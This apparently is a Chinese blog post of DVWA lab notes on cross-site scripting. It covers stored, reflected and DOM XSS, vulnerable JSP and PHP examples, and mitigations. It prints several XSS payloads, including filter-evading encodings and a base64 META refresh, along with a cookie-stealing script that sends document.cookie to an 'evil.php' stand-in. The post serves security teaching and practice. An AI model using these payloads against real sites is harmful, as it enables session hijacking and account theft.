dvwa第六题:cross site script(xss)

overview:

跨站脚本攻击也是注入攻击的一种,他将恶意脚本代码注入到原本良好的被信任的网站代码。攻击者利用web应用来发送恶意代码,通常以一个浏览器端脚本的方式,来呈现给不同的终端用户。该缺陷非常普遍使得xss攻击成功,当一个web应用使用来自客户端的输入,而且并没有做任何检验和编码时。

可以使用xss来发送一个恶意脚本给不知情的用户,终端浏览器无法知道该脚本是不可被信任的,并执行了它。恶意脚本可以访问任何cookies,会话token,更高的权限或其他当前站点重要信息。这些脚本甚至能重写HTML页面的内容.

 

description:

当如下情况可能发生了xss攻击:

1.当数据通过不被信任的源码的web应用程序,且有频繁的web请求。

2.数据被包含在恶意动态content发送给web用户且没有经过确认。

发送给web浏览器的恶意内容通常携带这一段JavaScript片段,HTML,flash,或者其它类型的浏览器可执行的代码。基于xss的各种攻击几乎是无限制的,他们通常传输私有数据给攻击者,像cookies或者其它会话信息,引导受骗者到被他们控制的web内容上,或执行其他恶意操作在用户的机器上

存储和反射XSS攻击:

xss攻击通常分为两类,存储型和反射性,还有一种更著名的的叫做基于DOM攻击。

存储xxs攻击:

这类攻击把被注入的脚本永久存储在目标服务器上,例如数据库,消息论坛,访问日志中等,当受骗者会收到恶意脚本从服务器上,当请求存储信息时。存储型xss也叫做持久化或一类XXS。

反射型XSS攻击:

这类攻击把被注入的脚本反射到web服务器,比如一个错误消息,搜索结果,或任何其他响应,包括部分或所有的输入信息作为请求的一部分到服务器进行响应。反射攻击传递给受害者通过另一种途径,比如一个邮箱信息,或一些其他站点。当用户被欺骗去点击了一个恶意的链接,提交了一个特殊的精心制作的表单,或者只是浏览了一个恶意站点,注入代码就会传播到易受攻击的网站,并映射攻击脚本到用户浏览器上。浏览器会执行恶意代码因为他们来自被信任的服务器。映射xxs也被称为非持久性或二类xxs。(即恶意数据嵌入到页面后会紧跟请求立刻返回到浏览器)

其他类型xxs:

还有基于DOM XXS攻击,存储和映射型xxs数据是基于服务器的类型,DOM是基于客户端的类型。

使用js里面的document机制。

 

被xss攻击的后果:

xss攻击效果都是一样的,不同的是如何有效的负载到服务器。不要简单的认为“只读”或者“小型”站点不易受反射型xss攻击。xss可导致多种问题在终端用户,许多严重的xss攻击会泄露用户会话cookie,允许攻击者劫持会话和用户账户,其他危险的攻击包括浏览终端用户文件,安装特洛伊木马程序,重定向用户到一些其他站点,或修改展现的内容等,

如何确定你是易受xss攻击的:

web应用比较难修改或移除xss缺陷,最好的办法是执行代码安全检查和所有来自http请求会被入HTML输出的位置,以此来找到易受攻击的缺陷。注意那些不同类型的HTML 标签能被用于传输危险的JavaScript。Nessus, Nikto, 或者其它一些工具可用来帮助扫描网站的缺陷,但也是比较浅显的问题。如果网站的某部分是易受攻击的,那很可能也存在着其它问题。

(摘要:HTML作为一种超文本标记语言,通过将一些特殊字符来区别文本和标记,如<被看做HTML标签的开始,<title>和</title>之间的字符是页面标题等,当动态页面中插入/输入的内容还有这些特殊字符,浏览器会将其误认为插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。)

如何自我保护:

关闭http trace支持在所有的web服务器上。攻击者可以通过JavaScript窃取cookie数据,即使document.cookie不能使用或在客户端不被支持,当一个用户把一段危险的脚本提交到一个论坛,这个攻击就被植入了,其它用户点击了他,异步http trace就被调用然后从服务器收集用户的cookies信息,然后攻击者就可以解除会话,这可以通过移除http trace支持来缓解这一点。

非常规XSS语法:

在脚本属性中的的使用:

xss攻击可不使用<script></script>标签执行,其他标签也可以执行,例如<body οnlοad=alert('test1')>,或其他属性,比如:鼠标经过,错误报错等。

鼠标移到目标上:<b οnmοuseοver=alert("wuffff!")> click me it</b>

报错信息:<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>

 

通过编码URI Schemes:

如果需要隐藏web应用的filters,我们可以使用编码字符串,例如a=&#X41(UTF-8)并使用在IMG标签:<IMG SRC=j&#X41avascript:alert('test2')>

 

使用代码转码:

可以转码我们的xss脚本到base64编码并替换到META标签里,这种方法可完全摆脱alert(),例如:

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

 

 

 

xss攻击example:

恶意用户可在任何地方发送不受监管的内容到一个正常的网站,来感染其他正常的用户。

ex1:

<% String eid = request.getParameter("eid"); %>
    ...
    Employee ID: <%= eid %>

这段jsp代码通过http请求来读取一个雇员ID,eid来展示给用户。如果eid只包含标准的数字那么这段代码是没有问题的,但是如果eid值有跟随链接字符或者源代码,代码可能就会被浏览器执行并显示http的响应。这是一个典型的反射型xss.

ex2:

<%...
     Statement stmt = conn.createStatement();
     ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
     if (rs != null) {
      rs.next();
      String name = rs.getString("name");
    %>

    Employee Name: <%= name %>

这段jsp代码将查询数据库,根据给定的职员ID,并打印出该职员的名字。有点类似于ex1,因为name直接从数据库读取,他会导致一些危险,这些内容显然是被应用管理。但是如果name来自于用户提供的数据,数据库就可能导入一些危险的内容, 如果没有适当的输入合法性校验,他将会被存储在数据库中,攻击者可以执行恶意命令在用户浏览器上,这类型叫做存储型攻击,这是很狡猾的一种方法,因为他将数据存储起来,间接导致很难定位到他们,并可能导致更多的用户被攻击。攻击者在论坛发布一个留言板,留言板头目内包含一段JavaScript,然后陆续的访客访问留言板页面并执行这段恶意代码。

 

从这些例子看出,xss漏洞是由于http response返回的代码中包含非法的数据,有急种情况会导致你被攻击。

1、ex1中,数据直接从http请求中读取并返回http响应。xss利用这种存在,攻击者提交一些危险内容给应用,然后返回给用户并被浏览器执行。大多数恶意内容的传播是将其作为一个参数包含在URL中,以公开的或者邮件形式发送给受害者。这种url的方式是许多钓鱼攻击的核心,借此攻击者欺骗受害者去访问一个鱼饵网站。

2、ex2中,应用在服务端存储了危险信息,这些信息陆续返回给应用并包含动态内容。

 

攻击示例:

窃取cookie:

如果应用未验证输入内容,那么攻击者可以轻易的访问cookie信息从一个被认证的用户上,

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

以上代码将在“cakemonster”变量中向ev .php脚本传递已转义的cookie内容(根据RFC内容必须在使用GET方法通过HTTP协议发送之前进行转义)。然后攻击者检查他的evil.php脚本的结果(一个cookie抓取脚本通常会将cookie写到一个文件中)并使用它。

报错页面示例:

假设有一个报错页面,他请求一个不存在的页面,出现404,我们可能使用一个错误码来告知用户页面已丢失。

<html>
<body>

<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>

</body>
</html>

web地址为http://testsite.test/file_which_not_exist,返回Not  found: /file_which_not_exist,现在我们试一下如下代码:http://testsite.test/<script>alert("TEST");</script>     返回的结果为:Not found: / (but with JavaScript code <script>alert("TEST");</script>)。我们就注入了一段代码,xss、这意味什么,我们可以使用这个缺陷尝试获得真实用户的会话cookie

常见的一些xss攻击语法代码:https://www.cnblogs.com/black-humor/p/7810920.html

 

 

 

 

 

dvwa的xss攻击练习:

low级:

xss(stored)是一个存储型xss攻击示例,模拟的是一个论坛,当输入恶意代码到Message,应用将内容存储在数据库,下次刷新打开论坛的时候将会执行恶意代码。

xss(reflected)反射型示例,提交输入的内容,应用把内容返给页面,页面展示,所以输入<body οnlοad="alert('xss')"></body>到name框点summit后,页面收到服务返回的该该恶意代码并执行就会弹出一个对话框。

medium级:

 

 

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值